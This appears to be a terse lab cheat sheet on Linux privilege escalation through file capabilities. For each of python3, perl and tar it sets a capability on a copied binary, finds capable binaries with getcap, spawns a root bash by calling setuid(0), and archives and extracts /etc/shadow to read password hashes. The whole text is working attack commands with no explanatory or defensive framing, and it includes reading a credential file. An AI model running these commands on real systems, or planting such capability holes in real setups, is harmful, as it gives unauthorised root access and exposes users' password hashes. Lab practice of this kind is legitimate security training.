Sudo with python:

which python3
cp /usr/bin/python3 /home/demo/
setcap cap_setuid+ep /home/demo/python3

# --->>
getcap -r / 2>/dev/null
pwd
ls -al python3
./python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
id

Sudo with perl:

which perl
cp /usr/bin/perl /home/demo/
setcap cap_setuid+ep /home/demo/perl

# --->>
getcap -r / 2>/dev/null
pwd
ls -al perl
./perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
id

Sudo with tar:

which tar
cp /bin/tar /home/demo/
setcap cap_dac_read_search+ep /home/demo/tar

# --->>
getcap -r / 2>/dev/null
pwd
ls -al tar
./tar cvf shadow.tar /etc/shadow
ls
./tar -xvf shadow.tar
tail -8 etc/shadow # hashes of the password